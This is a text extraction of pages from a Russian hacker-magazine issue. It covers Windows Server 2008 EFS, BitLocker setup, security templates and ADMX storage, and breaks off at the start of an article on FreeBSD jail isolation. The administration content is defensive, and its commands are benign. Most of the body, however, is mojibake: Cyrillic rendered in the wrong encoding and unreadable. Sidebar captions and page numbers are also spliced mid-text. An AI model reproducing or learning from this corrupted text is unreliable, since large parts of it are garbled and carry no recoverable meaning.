â öåíòð ñåðòèôèêàöèè. Ñàìûì ïðîñòûì âûõîäîì áóäåò óñòàíîâêà<br />
â òîé æå ñèñòåìå ñëóæáû ñåðòèôèêàöèè AD CS (Active Directory Certificate<br />
Services).  ýòîì ñëó÷àå ñàìîñòîÿòåëüíî ñãåíåðèðîâàííûå ñåðòèôèêàòû<br />
áóäóò àâòîìàòè÷åñêè ïðèíèìàòüñÿ êàê äîâåðåííûå. Ñîçäàòü ñåðòèôèêàò<br />
äëÿ EFS ïðè ïîìîùè êîíñîëè «Ñåðòèôèêàòû» äîâîëüíî ïðîñòî. Íàõîäÿñü<br />
â ðàçäåëå «Ëè÷íîå», èç êîíòåêñòíîãî ìåíþ âûçûâàåì ìàñòåð ïîäà÷è çàÿâîê<br />
íà ñåðòèôèêàòû è ñëåäóåì åãî ðåêîìåíäàöèÿì.<br />
Åñëè êëþ÷ øèôðîâàíèÿ óòåðÿí èëè ïîâðåæäåí è íåò âîçìîæíîñòè åãî<br />
âîññòàíîâèòü, à òàêæå â òîì ñëó÷àå, åñëè ïîëüçîâàòåëüñêèé ïàðîëü áûë<br />
ñáðîøåí, ïîëó÷èòü äîñòóï ê çàøèôðîâàííûì äàííûì íåâîçìîæíî. ×òîáû<br />
íå ïîòåðÿòü èíôîðìàöèþ, ñèñòåìà ïðåäëàãàåò íåñêîëüêî âàðèàíòîâ<br />
ïîäñòðàõîâêè. Ñðàçó æå ïîñëå ñîçäàíèÿ ïåðâîãî çàøèôðîâàííîãî ôàéëà<br />
ïîÿâèòñÿ çàïðîñ íà ñîçäàíèå àðõèâíîé êîïèè êëþ÷à è ñåðòèôèêàòà.<br />
Äîñòàòî÷íî âûáðàòü «Àðõèâèðîâàòü ñåé÷àñ» è ïðè ïîìîùè ìàñòåðà ýêñïîðòà<br />
ñåðòèôèêàòîâ ñîõðàíèòü ñåðòèôèêàò â ôàéë îáìåíà ëè÷íîé èíôîðìàöèåé<br />
(.pfx). ×òîáû ðåçåðâíàÿ êîïèÿ íå ñòàëà ïðîáëåìîé, â öåëÿõ<br />
îáåñïå÷åíèÿ áåçîïàñíîñòè àðõèâíûé ôàéë äîïîëíèòåëüíî çàùèùàåòñÿ<br />
ïàðîëåì. Àíàëîãè÷íûé ìàñòåð ìîæíî âûçâàòü èç êîíñîëè certmgr.msc. È,<br />
íàêîíåö, òðåòèé âàðèàíò — àãåíò âîññòàíîâëåíèÿ êëþ÷à.<br />
БИТОВЫЙ ЗАМОК Íîâàÿ òåõíîëîãèÿ BitLocker, âïåðâûå ïîÿâèâøàÿñÿ â<br />
Vista, â âåðñèÿõ Ultimate/Enterprise, ñòàëà ïðîäîëæåíèåì èäåè, çàëîæåííîé<br />
â EFS. Åå ãëàâíîå îòëè÷èå — óìåíèå øèôðîâàòü öåëûé òîì (òîì â òåðìèíîëîãèè<br />
Windows — ëîãè÷åñêàÿ ñòðóêòóðà, êîòîðàÿ ìîæåò ñîñòîÿòü<br />
èç îäíîãî èëè íåñêîëüêèõ ðàçäåëîâ). Êðîìå äàííûõ, âîçìîæíî øèôðîâàíèå<br />
ðååñòðà, ôàéëîâ ïîäêà÷êè è ãèáåðíàöèè. Òàê æå, êàê è EFS, ðàáîòà<br />
BitLocker ïîëíîñòüþ ïðîçðà÷íà äëÿ ïîëüçîâàòåëÿ, è øèôðîâàíèå ïðàêòè÷åñêè<br />
íå ñêàçûâàåòñÿ íà ïðîèçâîäèòåëüíîñòè ñèñòåìû. Ïî óìîë÷àíèþ<br />
äëÿ øèôðîâàíèÿ èñïîëüçóåòñÿ àëãîðèòì AES ñ 128-ðàçðÿäíûì êëþ÷îì.<br />
Ñ ïîìîùüþ ãðóïïîâûõ ïîëèòèê èëè ÷åðåç WMI (manage-bde.wsf) ðàçìåð<br />
êëþ÷à ìîæíî óâåëè÷èòü äî 256 áèò. Íàèáîëüøèé ýôôåêò ïðè èñïîëüçîâàíèè<br />
BitLocker äîñòèãàåòñÿ íà ïëàòôîðìàõ, ïîääåðæèâàþùèõ ñïåöèôèêàöèþ<br />
TPM (Trusted Platform Module). TPM-ìèêðîêîíòðîëëåð ñïîñîáåí<br />
ñîçäàâàòü è õðàíèòü áåçîïàñíûå êëþ÷è, à èíôîðìàöèþ, çàùèùåííóþ<br />
ïðè ïîìîùè òàêèõ êëþ÷åé, ìîæíî ïðî÷èòàòü òîëüêî íà óñòðîéñòâàõ, ïîääåðæèâàþùèõ<br />
ÒÐÌ.<br />
Ïðè ïîìîùè BitLocker ìîæíî çàøèôðîâàòü ñèñòåìíûé òîì, íî äëÿ åãî<br />
ðàáîòû ïîòðåáóåòñÿ, ìèíèìóì, äâà òîìà, îòôîðìàòèðîâàííûõ â NTFS.<br />
Îäèí áóäåò èñïîëüçîâàí ñîáñòâåííî äëÿ óñòàíîâêè ñèñòåìû, à íà âòîðîì<br />
(â íåçàøèôðîâàííîì âèäå) ðàçìåñòÿòñÿ çàãðóçî÷íûé ñåêòîð, äèñïåò÷åð<br />
çàãðóçêè è çàãðóç÷èê Windows. Ó÷èòûâàÿ âîçìîæíîñòü ñîçäàíèÿ ðàçëè÷íîãî<br />
ðîäà âðåìåííûõ ôàéëîâ, ðàçìåð àêòèâíîãî ðàçäåëà ðåêîìåíäóåòñÿ<br />
óñòàíîâèòü íå ìåíåå 1.5 Ãá. Åñëè ýòà ñõåìà ïðè óñòàíîâêå íå ðåàëèçîâàíà,<br />
òî êîíñîëü BitLocker ïîñëå çàïóñêà îòêàæåòñÿ ðàáîòàòü è âûäàñò ïðåäóïðåæäåíèå.<br />
Äëÿ ïîäãîòîâêè äèñêà äÿäüêè èç Microsoft ðåêîìåíäóþò<br />
èñïîëüçîâàòü BitLocker Drive Preparation Tool (support.microsoft.com/<br />
kb/933246).<br />
Íóæíî îòìåòèòü, ÷òî íåçàøèôðîâàííûé ðàçäåë — íàèáîëåå óÿçâèì, òàê<br />
êàê çäåñü ìîæíî ñïðÿòàòü ðóòêèò, êîòîðûé ìîæåò ñòàðòîâàòü äî çàãðóçêè.<br />
 ñèñòåìàõ, ïîääåðæèâàþùèõ TPM, îáåñïå÷èâàåòñÿ êîíòðîëü öåëîñòíîñòè<br />
ñèñòåìíûõ ôàéëîâ è íà ýòàïå çàãðóçêè. Åñëè êîìïîíåíòû èçìåíåíû,<br />
Windows ïîïðîñòó íå ñòàíåò ðàáîòàòü.<br />
Äëÿ äîñòóïà ê çàøèôðîâàííîìó ðàçäåëó íåîáõîäèìî èñïîëüçîâàòü<br />
TPM, PIN-êîä èëè USB-êëþ÷ ñ âîçìîæíîñòüþ êîìáèíàöèè ýòèõ ìåòîäîâ.<br />
Åñòåñò âåííî, ñàìûé çàùèùåííûé âàðèàíò âêëþ÷àåò èõ âñå: TPM + PINêîä<br />
+ USB-êëþ÷. Ñàì êëþ÷ ìîæåò õðàíèòüñÿ â TPM èëè â USB-óñòðîéñòâå.<br />
 ñëó÷àå ñ TPM ïðè çàãðóçêå êîìïüþòåðà êëþ÷ ìîæåò ëèáî áûòü ïîëó÷åí<br />
èç íåãî ñðàçó, ëèáî òîëüêî ïîñëå àóòåíòèôèêàöèè ñ ïîìîùüþ USB-êëþ÷à<br />
èëè ââîäà PIN-êîäà.<br />
Êîìïîíåíò BitLocker âõîäèò â ñîñòàâ ÎÑ, íî ïî óìîë÷àíèþ íå óñòàíàâëèâàåòñÿ.<br />
Àêòèâèðóåòñÿ îí òðàäèöèîííûì äëÿ Win2k8 ñïîñîáîì — ïðè<br />
ïîìîùè Äèñïåò÷åðà ñåðâåðà. Ùåëêàåì ññûëêó «Äîáàâèòü êîìïîíåíòû», â<br />
îêíå ìàñòåðà îòìå÷àåì ôëàæîê «Øèôðîâàíèå äèñêà BitLocker» (BitLocker<br />
Drive Encrypion). Ïî îêîí÷àíèè óñòàíîâêè ïîòðåáóåòñÿ ïåðåçàãðóçêà ñèñòåìû.<br />
Èëè â êîìàíäíîé ñòðîêå íàáèðàåì:<br />
> ServerManagerCmd -install BitLocker -restart<br />
Åñëè îáîðóäîâàíèå ïîääåðæèâàåò TPM, ïîñëå ïåðåçàãðóçêè ñèñòåìû<br />
çàïóñêàåì êîíñîëü «Óïðàâëåíèå äîâåðåííûì ïëàòôîðìåííûì ìîäóëåì<br />
TPM» (tpm.msc). Îáíàðóæåííûé ìîäóëü áóäåò âûâåäåí â îñíîâíîì îêíå,<br />
èíèöèàëèçèðóåì åãî, íàæàâ ñîîòâåòñòâóþùóþ êíîïêó. Çàòåì ïî çàïðîñó<br />
ñîçäàåì ïàðîëü âëàäåëüöà TPM è ñîõðàíÿåì íà ñìåííûé íîñèòåëü. Ñîáñòâåííî<br />
àêòèâàöèÿ BitLocker ïðîèçâîäèòñÿ â êîíñîëè «Øèôðîâàíèå äèñêà<br />
BitLocker» (BitLocker Drive Encryption), êîòîðàÿ íàõîäèòñÿ â «Ïàíåëè óïðàâëåíèÿ».<br />
Çäåñü âñå ïðîñòî. Îòìå÷àåì íóæíûé òîì, ùåëêàåì «Âêëþ÷èòü<br />
BitLocker» (Turn On BitLocker) è âûáèðàåì îäèí èç ñïîñîáîâ ñîõðàíåíèÿ<br />
ïàðîëÿ âîññòàíîâëåíèÿ (USB, íà äèñê èëè ðàñïå÷àòàòü). Èç ýòîé æå êîíñîëè<br />
ìîæíî âðåìåííî èëè ïîëíîñòüþ îòêëþ÷èòü BitLocker.<br />
XÀÊÅÐ 04 /124/ 09<br />
107
SYN/ACK<br />
Компонент BitLocker входит в состав ОС, но по умолчанию<br />
не устанавливается<br />
В системе без TPM перед использованием BitLocker следует изменить<br />
групповые политики<br />
info<br />
• Для преобразования<br />
файлов .adm в<br />
.admx, а также для<br />
создания и редактирования<br />
готовых<br />
.admx используй<br />
бесплатную<br />
программу ADMX<br />
Migrator, которую<br />
можно найти на<br />
сайте Microsoft.<br />
• Обновленная консоль<br />
GPO в Win2k3/<br />
Win2k8 позволяет<br />
работать<br />
с ADMX-файлами.<br />
• В Win2k8 сертификаты,<br />
позволяющие<br />
получить доступ к<br />
зашифрованным данным,<br />
можно хранить<br />
на смарт-картах.<br />
• BitLocker не шифрует<br />
метаданные,<br />
загрузочные и поврежденные<br />
сектора.<br />
108<br />
Сертификат, сгенерированный при включении EFS<br />
Òàê êàê èçíà÷àëüíî ìåõàíèçì øèôðîâàíèÿ çàâÿçàí íà èñïîëüçîâàíèè<br />
TPM, â ñèñòåìàõ, ãäå îí îòñóòñòâóåò, ïðèäåòñÿ<br />
âûïîëíèòü åùå ðÿä øàãîâ, ÷òîáû àêòèâèðîâàòü BitLocker.<br />
Äëÿ ýòîãî âûçûâàåì «Ðåäàêòîð ãðóïïîâîé ïîëèòèêè»<br />
(gpedit.msc) è ïåðåõîäèì â «Ðåäàêòîð ëîêàëüíîé ïîëèòèêè<br />
— Àäìèíèñòðàòèâíûå øàáëîíû — Êîìïîíåíòû Windows»<br />
(Group Policy Object Editor — Administrative — Templates<br />
— Windows Component). Âûáèðàåì ïóíêò «Øèôðîâàíèå<br />
äèñêà BitLocker» (BitLocker Encryption) è äâàæäû ùåëêàåì<br />
«Óñòàíîâêà ïàíåëè óïðàâëåíèÿ: âêëþ÷èòü äîïîëíèòåëüíûå<br />
ïàðàìåòðû çàïóñêà». Â ïîÿâèâøåìñÿ îêíå óñòàíàâëèâàåì<br />
ïåðåêëþ÷àòåëü â ïîëîæåíèå «Âêëþ÷èòü» è àêòèâèðóåì ôëàæîê<br />
«Ðàçðåøèòü èñïîëüçîâàíèå BitLocker áåç ñîâìåñòèìîãî<br />
TPM». Òåïåðü âìåñòî TPM ìîæíî èñïîëüçîâàòü êëþ÷ çàïóñêà<br />
íà USB-óñòðîéñòâå. Çàêðûâàåì ðåäàêòîð, ÷òîáû íîâûå<br />
íàñòðîéêè ãðóïïîâûõ ïîëèòèê âñòóïèëè â ñèëó, è ââîäèì<br />
êîìàíäó «gpupdate.exe /force».<br />
 ñîñòàâ Win2k8 âõîäèò äîïîëíèòåëüíûé êîìïîíåíò «Óäàëåííîå<br />
óïðàâëåíèå BitLocker» (BitLocker-RemoteAdminTool),<br />
êîòîðûé ìîæíî óñòàíîâèòü áåç âêëþ÷åíèÿ BitLocker íà èñïîëüçóåìîì<br />
ñåðâåðå. Äëÿ ýòîãî äîñòàòî÷íî ââåñòè êîìàíäó:<br />
> ServerManagerCmd -install RSAT-BitLocker<br />
ШАБЛОНЫ БЕЗОПАСНОСТИ Íåñìîòðÿ íà ñâîå ãðîçíîå<br />
íàçâàíèå, øàáëîíû áåçîïàñíîñòè (Security Templates) ïðåäñòàâëÿþò<br />
ñîáîé îáû÷íûå òåêñòîâûå ôàéëû ñ ðàñøèðåíèåì<br />
.inf. Â íèõ ñîäåðæàòñÿ ãîòîâûå íàñòðîéêè áåçîïàñíîñòè:<br />
ëîêàëüíûå ïîëíîìî÷èÿ, ÷ëåíñòâî â ëîêàëüíûõ ãðóïïàõ (â<br />
Активировать EFS очень просто<br />
èäåàëå, ïîëüçîâàòåëè íå äîëæíû ÿâëÿòüñÿ ÷ëåíàìè ãðóïï,<br />
äàþùèõ áîëüøå ïðàâ, ÷åì èì â äåéñòâèòåëüíîñòè íóæíî),<br />
ðàçðåøåíèÿ äëÿ äîñòóïà ê ñåðâèñàì, ôàéëàì, êàòàëîãàì è<br />
ðàçäåëàì ðååñòðà. Ñ èõ ïîìîùüþ ìîæíî íå òîëüêî óêàçàòü,<br />
÷òî òîëüêî ïîëüçîâàòåëü user10 èìååò ïðàâî âûïîëíèòü<br />
äåéñòâèå X íàä îáúåêòîì Y, íî è ëåãêî âåðíóòü ñèñòåìó ê äåôîëòîâûì<br />
ñèñòåìíûì óñòàíîâêàì. Ýòî ìîæåò áûòü ïîëåçíî,<br />
êîãäà ïîñëå íåêîòîðûõ èçìåíåíèé ñèñòåìà ïåðåñòàëà íîðìàëüíî<br />
ôóíêöèîíèðîâàòü. Íàñòðîèâ øàáëîíû áåçîïàñíîñòè,<br />
èõ çàòåì ìîæíî ëåãêî âíåäðèòü ïðè ïîìîùè ãðóïïîâûõ<br />
ïîëèòèê (Group Policy) ñðàçó íà íåñêîëüêî ñåðâåðîâ èëè äàæå<br />
íà âñå êîìïüþòåðû äîìåíà.<br />
 Win2k3 èñïîëüçîâàëîñü äåâÿòü øàáëîíîâ (íàéäåøü èõ â<br />
êàòàëîãå %systemroot%\security\templates) — êàæäûé îòâå÷àë<br />
çà ñâîé ó÷àñòîê íàñòðîåê. Íàïðèìåð, âñå íàñòðîéêè,<br />
ñâÿçàííûå ñ áåçîïàñíîñòüþ, íàõîäèëèñü â Secure*.inf-ôàéëàõ.<br />
 Win2k8 âñåãî òðè ãëàâíûõ ôàéëà, â êîòîðûõ ñîäåðæàòñÿ<br />
øàáëîíû íàñòðîåê òèïè÷íûõ ñöåíàðèåâ èñïîëüçîâàíèÿ<br />
ñèñòåìû:<br />
1. Defltbase.inf — áàçîâûå/îáùèå íàñòðîéêè.<br />
2. Defltsv.inf — íàñòðîéêè, ñïåöèôè÷íûå äëÿ ñåðâåðîâ.<br />
3. Defltdc.inf — íàñòðîéêè, ñïåöèôè÷íûå äëÿ êîíòðîëëåðîâ<br />
äîìåíà.<br />
È ãëàâíîå: èçìåíåíî ðàñïîëîæåíèå ôàéëîâ — òåïåðü îíè íàõîäÿòñÿ<br />
â %systemroot%\inf ñðåäè ìíîæåñòâà äðóãèõ ôàéëîâ,<br />
èìåþùèõ ðàñøèðåíèå inf. Ýòî íåñêîëüêî çàòðóäíÿåò ïîèñê<br />
íóæíîãî øàáëîíà. Åñòü åùå ðÿä äîïîëíèòåëüíûõ ôàéëîâ äëÿ<br />
ðåøåíèÿ óçêîñïåöèàëèçèðîâàííûõ çàäà÷, íàïðèìåð, dcfirst.<br />
inf ñëåäóåò ïðèìåíÿòü ïðè ñîçäàíèè ïåðâîãî ÊÄ â ëåñó. Íî<br />
XÀÊÅÐ 04 /124/ 09
SYN/ACK<br />
Месторасположение шаблонов безопасности в Win2k8<br />
изменено<br />
Анализ существующих настроек при помощи MMC<br />
èìåííî òðè óêàçàííûõ âûøå øàáëîíà ÿâëÿþòñÿ îñíîâíûìè,<br />
è èõ ìîæíî èñïîëüçîâàòü äëÿ ïðèìåíåíèÿ ïîëèòèêè âðó÷íóþ<br />
ïðè ïîìîùè óòèëèòû secedit.<br />
×òîáû ïðîàíàëèçèðîâàòü áåçîïàñíîñòü êîìïüþòåðà, èñïîëüçóÿ<br />
øàáëîíû áåçîïàñíîñòè, çàïóñêàåì êîíñîëü MMC,<br />
âûáèðàåì «Äîáàâëåíèå è óäàëåíèå îñíàñòêè» è ïðèñîåäèíÿåì<br />
îñíàñòêó «Àíàëèç è íàñòðîéêà áåçîïàñíîñòè». Ïîÿâèòñÿ<br />
ïóñòîå ðàáî÷åå îêíî, äàëåå ñëåäóåì ïîäñêàçêàì. Âûáèðàåì<br />
â êîíòåêñòíîì ìåíþ ïóíêò «Îòêðûòü áàçó äàííûõ», òàê êàê<br />
áàçû ó íàñ ïîêà íåò, ñîçäàåì åå, ââåäÿ ëþáîå èìÿ ôàéëà. Ïî<br />
çàïðîñó èìïîðòèðóåì îäèí èç øàáëîíîâ áåçîïàñíîñòè, êîòîðûé<br />
áóäåì èñïîëüçîâàòü â äàëüíåéøåì. ×òîáû ïðîàíàëèçèðîâàòü<br />
ñèñòåìó, ïåðåõîäèì â êîíòåêñòíîå ìåíþ «Àíàëèçèðîâàòü<br />
êîìïüþòåð». Ïî îêîí÷àíèè àíàëèçà áóäóò âûâåäåíû<br />
âñå òåêóùèå íàñòðîéêè. Êñòàòè, ïîäîáíûå óñòàíîâêè ìîæíî<br />
ïîëó÷èòü è ïðè ïîìîùè óòèëèòû «gpresult /v», âûâîäÿùåé<br />
ïàðàìåòðû ãðóïïîâîé è ðåçóëüòèðóþùåé ïîëèòèêè (RSOP).<br />
Åñëè òû çíàêîì ñ GPO (Group Policy Objects), ìîæåøü ñðàâíèòü<br />
ýòè óñòàíîâêè ñ øàáëîíîì áåçîïàñíîñòè.<br />
Äàëåå ïðîñìàòðèâàåì íàñòðîéêè, ïðè íåîáõîäèìîñòè âíîñÿ<br />
èçìåíåíèÿ. Íàñòðîéêè ñèñòåìû, íå ñîîòâåòñòâóþùèå<br />
øàáëîíó, áóäóò îòìå÷åíû êðàñíûì êðåñòèêîì. Âûçâàòü äëÿ<br />
ðåäàêòèðîâàíèÿ íóæíûé ïóíêò ìîæíî äâîéíûì êëèêîì. Â<br />
ìåíþ «Ïîêàçàòü ôàéë æóðíàëà» áóäóò ïîêàçàíû âñå ïðîàíàëèçèðîâàííûå<br />
ïàðàìåòðû è ñîîòâåòñòâèå íàñòðîåê ñèñòåìû<br />
âûáðàííîìó øàáëîíó áåçîïàñíîñòè.<br />
Âíåñåííûå ñåé÷àñ èçìåíåíèÿ íèêàê íå ïîâëèÿþò íà òåêóùèå<br />
íàñòðîéêè êîìïüþòåðà, — îíè áóäóò çàíåñåíû òîëüêî â áàçó<br />
äàííûõ. Ïðè íåîáõîäèìîñòè âñå óñòàíîâêè ìîæíî ýêñïîðòèðîâàòü<br />
â ôàéë *.inf äëÿ ïðèìåíåíèÿ â äðóãèõ ñèñòåìàõ. ×òîáû<br />
çàäåéñòâîâàòü øàáëîí, âûáèðàåì â êîíòåêñòíîì ìåíþ<br />
ïóíêò «Íàñòðîèòü êîìïüþòåð» è óêàçûâàåì íà ìåñòî ñîõðàíåíèÿ<br />
ôàéëà æóðíàëà, êîòîðûé áóäåò ïîêàçàí ïî îêîí÷àíèè<br />
ðàáîòû óòèëèòû.<br />
Îòêàò íîâûõ óñòàíîâîê èç MMC íå ïðåäóñìîòðåí. ×òîáû çàðåçåðâèðîâàòüñÿ,<br />
ñîõðàíè ïåðâîíà÷àëüíóþ áàçó èëè íåïîñðåäñòâåííî<br />
ïåðåä ïðèìåíåíèåì èñïîëüçóé secedit ñ ïàðàìåòðîì<br />
GenerateRollback:<br />
> secedit /GenerateRollback /CFG Defltsv.inf /<br />
RBK Rollback.inf /log RollbackLog.log<br />
XÀÊÅÐ 04 /124/ 09<br />
ADM/ADMX ШАБЛОНЫ Àäìèíèñòðàòèâíûå øàáëîíû<br />
(ôàéëû ôîðìàòà .adm) ïîçâîëÿþò àäìèíèñòðàòîðó ïîñðåäñòâîì<br />
ãðóïïîâîé ïîëèòèêè êîíôèãóðèðîâàòü ñèñòåìíûé ðååñòð<br />
êëèåíòñêèõ êîìïüþòåðîâ. Ýòî çíà÷èò, ÷òî äëÿ ëþáîãî<br />
êëèåíòà, ïîäïàäàþùåãî ïîä äåéñòâèå íåêîòîðîãî îáúåêòà<br />
GPO, ñèñòåìíûé ðååñòð áóäåò ñêîíôèãóðèðîâàí â ñîîòâåòñòâèè<br />
ñ àäìèíèñòðàòèâíûì øàáëîíîì (îïðåäåëåííûì â ðàìêàõ<br />
äàííîãî îáúåêòà).<br />
ADM-ôàéëû õðàíÿòñÿ ëîêàëüíî íà êîìïüþòåðàõ, ïîäêëþ-<br />
÷åííûõ ê äîìåíó, è âèäíû â øàáëîíå ãðóïïîâîé ïîëèòèêè<br />
(GPT). Ïîñëåäíèé íàõîäèòñÿ â SYSVOL è ðåïëèöèðóåòñÿ íà<br />
îñòàëüíûå ñèñòåìû.  èòîãå ìû ïîëó÷àëè ìíîæåñòâî îäèíàêîâûõ<br />
ôàéëîâ è ïîëíîå îòñóòñòâèå êîíòðîëÿ âåðñèé. Ïîçäðàâëÿþ,<br />
òåïåðü îá ýòèõ ïðîáëåìàõ ìîæíî çàáûòü :).<br />
Íà÷èíàÿ ñ Vista, â ÎÑ Windows èñïîëüçóåòñÿ íå òîëüêî<br />
íîâûé ôîðìàò àäìèíèñòðàòèâíûõ øàáëîíîâ íà áàçå<br />
XML — ôàéëû .admx, íî è ôóíêöèîíèðóþò îíè íåñêîëüêî<br />
èíà÷å. Ôàéëû ADMX õðàíÿòñÿ â öåíòðàëüíîì õðàíèëèùå,<br />
è â GPO íàïðÿìóþ íè÷åãî íå çàïèñûâàåòñÿ. Ýòî<br />
ïîçâîëÿåò óìåíüøèòü ðàçìåð SYSVOL è îáúåì ðåïëèöèðóåìûõ<br />
äàííûõ. Ïðè èçìåíåíèè â îäíîì èç ôàéëîâ<br />
ADMX èíôîðìàöèÿ êîïèðóåòñÿ íà äðóãèå ñèñòåìû. ×òîáû<br />
óïðîñòèòü ñîçäàíèå ëîêàëèçîâàííûõ îïèñàíèé (ðàíåå<br />
äëÿ êàæäîãî ÿçûêà èñïîëüçîâàëñÿ ñâîé ADM), ñòðîêîâûé<br />
ðàçäåë ôàéëà ADMX âûíåñåí â îòäåëüíûé ôàéë<br />
ADML. Êñòàòè, øàáëîíû ADM ïîääåðæèâàþòñÿ ïî-ïðåæíåìó,<br />
íî èñïîëüçîâàòü öåíòðàëèçîâàííîå õðàíèëèùå<br />
äëÿ íèõ íåëüçÿ.<br />
Ñîçäàòü öåíòðàëüíîå õðàíèëèùå â äîìåíå íåñëîæíî. Ïåðåõîäèì<br />
íà ÊÄ â êàòàëîã SYSVOL\Policies è êîïèðóåì ñþäà ñîäåðæèìîå<br />
C:\Windows\PolicyDefinitions, âêëþ÷àÿ ÿçûêîâûå<br />
ïîäêàòàëîãè ñ ADML-ôàéëàìè (â ëîêàëèçîâàííîé âåðñèè<br />
en_US è ru_RU). Ïîñëå ýòîãî ðåäàêòîð îáúåêòîâ óâèäèò ýòè<br />
ôàéëû è áóäåò ê íèì îáðàùàòüñÿ; ëîêàëüíûå æå — èãíîðèðóþòñÿ.<br />
Äëÿ ïðåîáðàçîâàíèÿ ôàéëîâ ADM â ADMX, à òàêæå äëÿ ñîçäàíèÿ<br />
è ðåäàêòèðîâàíèÿ ãîòîâûõ ADMX íåîáõîäèìà áåñïëàòíàÿ<br />
ïðîãðàììà ADMX Migrator, êîòîðóþ ìîæíî íàéòè ïîèñêîì<br />
íà ñàéòå Microsoft. Äëÿ ðåäàêòèðîâàíèÿ ADMX ïîäîéäåò<br />
è ëþáîé èç XML-ðåäàêòîðîâ, êîèõ ñåãîäíÿ íà ïîðÿäîê áîëüøå,<br />
÷åì ñïåöèàëèçèðîâàííûõ ðåäàêòîðîâ ADM. z<br />
links<br />
• Подробнее о TPM<br />
устройствах читай на<br />
странице Wikipedia:<br />
ru.wikipedia.org/wiki/<br />
Trusted_Platform_<br />
Module.<br />
• Дополнительные<br />
сведения<br />
об особенностях<br />
алгоритма шифрования<br />
BitLocker (на<br />
английском языке)<br />
смотри в статье «AES-<br />
CBC + диффузор<br />
Elephant» по адресу<br />
— go.microsoft.com/<br />
fwlink/?LinkId=82824.<br />
• Для подготовки<br />
диска перед использованием<br />
BitLocker<br />
Microsoft рекомендует<br />
утилиту BitLocker<br />
Drive Preparation Tool<br />
(support.microsoft.<br />
com/kb/933246).<br />
• В Сети существуют<br />
специальные ресурсы<br />
вроде GPanswers.<br />
com, где можно<br />
получить файлы ADM/<br />
ADMX.<br />
109
SYN/ACK<br />
ЕВГЕНИЙ «J1M» ЗОБНИН<br />
/ ZOBNIN@GMAIL.COM /<br />
Узник<br />
тайной тюрьмы<br />
Используем FreeBSD Jail для изолирования небезопасных сервисов<br />
FreeBSD хороша в качестве серверной ОС — поломать ее непросто<br />
даже в базовой конфигурации. Но не всякое ПО может похвастаться<br />
такой же надежностью и оперативностью исправления ошибок. Поэтому<br />
на важных серверах принято использовать jail, который запирает<br />
небезопасное стороннее ПО на замок, не позволяя взломщику навредить<br />
операционной системе.<br />
>> SYN/ACK<br />
ОТ ПЕСОЧНИЦЫ ДО ТЮРЬМЫ — ОДИН<br />
ШАГ Ïî ïîðó÷åíèþ ðóêîâîäñòâà òû ïîäíèìàåøü<br />
êîðïîðàòèâíûé ftp-ñåðâåð, äîëãî íàñòðàèâàåøü<br />
ïðàâà äîñòóïà, íàïîëíÿåøü êîíòåíòîì,<br />
çàáîòëèâî îêðóæàåøü ôàéðâîëîì è ñ ÷óâñòâîì<br />
âûïîëíåííîãî äîëãà îòïðàâëÿåøüñÿ äîìîé, à<br />
íàóòðî îáíàðóæèâàåøü íà ãëàâíîé ñòðàíè÷êå<br />
êîðïîðàòèâíîãî ïîðòàëà çëîáíóþ íàäïèñü «You<br />
are hacked!». «×òî çà áðåä», — äóìàåøü òû, ïûòàÿñü<br />
îáíàðóæèòü ñëåäû è ñïîñîá ïðîíèêíîâåíèÿ,<br />
êîòîðûì îêàçûâàåòñÿ… åñòåñòâåííî, óÿçâèìûé<br />
ftp-ñåðâåð. Äèðåêòîð êàê âñåãäà çàæàë äåíåã íà<br />
âûäåëåííóþ ìàøèíó äëÿ ftp-ñåðâåðà, è ïîýòîìó<br />
ïðèõîäèòñÿ ëàòàòü äûðû è íàäåÿòüñÿ, ÷òî â<br />
ñëåäóþùèé ðàç òû âîâðåìÿ íàêàòèøü âàæíûå<br />
îáíîâëåíèÿ.<br />
Ýòî — íåñêîëüêî íàäóìàííàÿ ïðîâèíöèàëüíàÿ<br />
èñòîðèÿ, íî îíà õîðîøî îòðàæàåò ñóòü ïðîáëåìû.<br />
Ñèñòåìà îêàçûâàåòñÿ áåççàùèòíîé ïåðåä<br />
âçëîìùèêîì: ñêîìïðîìåòèðîâàâ îäèí èç ñåðâèñîâ,<br />
çëîóìûøëåííèê àâòîìàòè÷åñêè ïîëó÷àåò<br />
ïîëíûé äîñòóï êî âñåì îñòàëüíûì. È äàæå åñëè<br />
ñëóæáà ðàáîòàåò ñ ïðàâàìè íåïðèâèëåãèðîâàííîãî<br />
ïîëüçîâàòåëÿ (÷òî ïîä÷àñ íåâîçìîæíî),<br />
ãðàìîòíûé ñïåöèàëèñò ñìîæåò èñïîëüçîâàòü<br />
èìåþùèåñÿ ïðàâà äëÿ èññëåäîâàíèÿ ñèñòåìû,<br />
ïîâûøåíèÿ ïðàâ ÷åðåç ëîêàëüíûå óÿçâèìîñòè<br />
èëè óñòàíîâêè ðàçëè÷íûõ áýêäîðîâ.<br />
Íåâîëüíî íàïðàøèâàåòñÿ ìûñëü îá îòäåëåíèè<br />
îïàñíîãî ñåðâèñà îò ÎÑ, åãî èçîëÿöèè, ïîìåùåíèè<br />
â áåçîïàñíóþ ñðåäó, èç êîòîðîé îí íå ñìîæåò<br />
íàâðåäèòü îñíîâíîé ñèñòåìå. Òàêîé èçîëÿòîð<br />
íàçûâàåòñÿ «ïåñî÷íèöåé» è ðåàëèçóåòñÿ ñ ïîìîùüþ<br />
ñèñòåìíîãî âûçîâà chroot(2), êîòîðûé<br />
çàñòàâëÿåò ïðèëîæåíèå äóìàòü, ÷òî óêàçàííûé<br />
â àðãóìåíòå êàòàëîã — ýòî êîðåíü ôàéëîâîé<br />
ñèñòåìû. Êàê ðåçóëüòàò, çàïóùåííàÿ ïðîãðàììà<br />
ðàáîòàåò â êàòàëîãå /usr/chroot (äëÿ ïðèìåðà)<br />
è íå ìîæåò íàâðåäèòü îñíîâíîé ñèñòåìå (âåäü<br />
ïîäíÿòüñÿ íà êàòàëîã âûøå êîðíÿ íåëüçÿ). Ïåñî÷íèöà<br />
õîðîøî ïîäõîäèò äëÿ ñåðâèñîâ, ðàáîòàþùèõ<br />
ñ ïðàâàìè ðÿäîâûõ ïîëüçîâàòåëåé, íî,<br />
êàê òîëüêî ïðîãðàììà ïîëó÷àåò ïðèâèëåãèè<br />
root, âñå ðóøèòñÿ. Ñóïåðïîëüçîâàòåëü îñòàåòñÿ<br />
ïðè ñâîèõ ïðàâàõ è â chroot, ìîæåò çàãðóæàòü<br />
ìîäóëè ÿäðà, ìîíòèðîâàòü ôàéëîâûå ñèñòåìû<br />
è äåëàòü âñå, ÷òî äóøà ïîæåëàåò. Ïîýòîìó äëÿ<br />
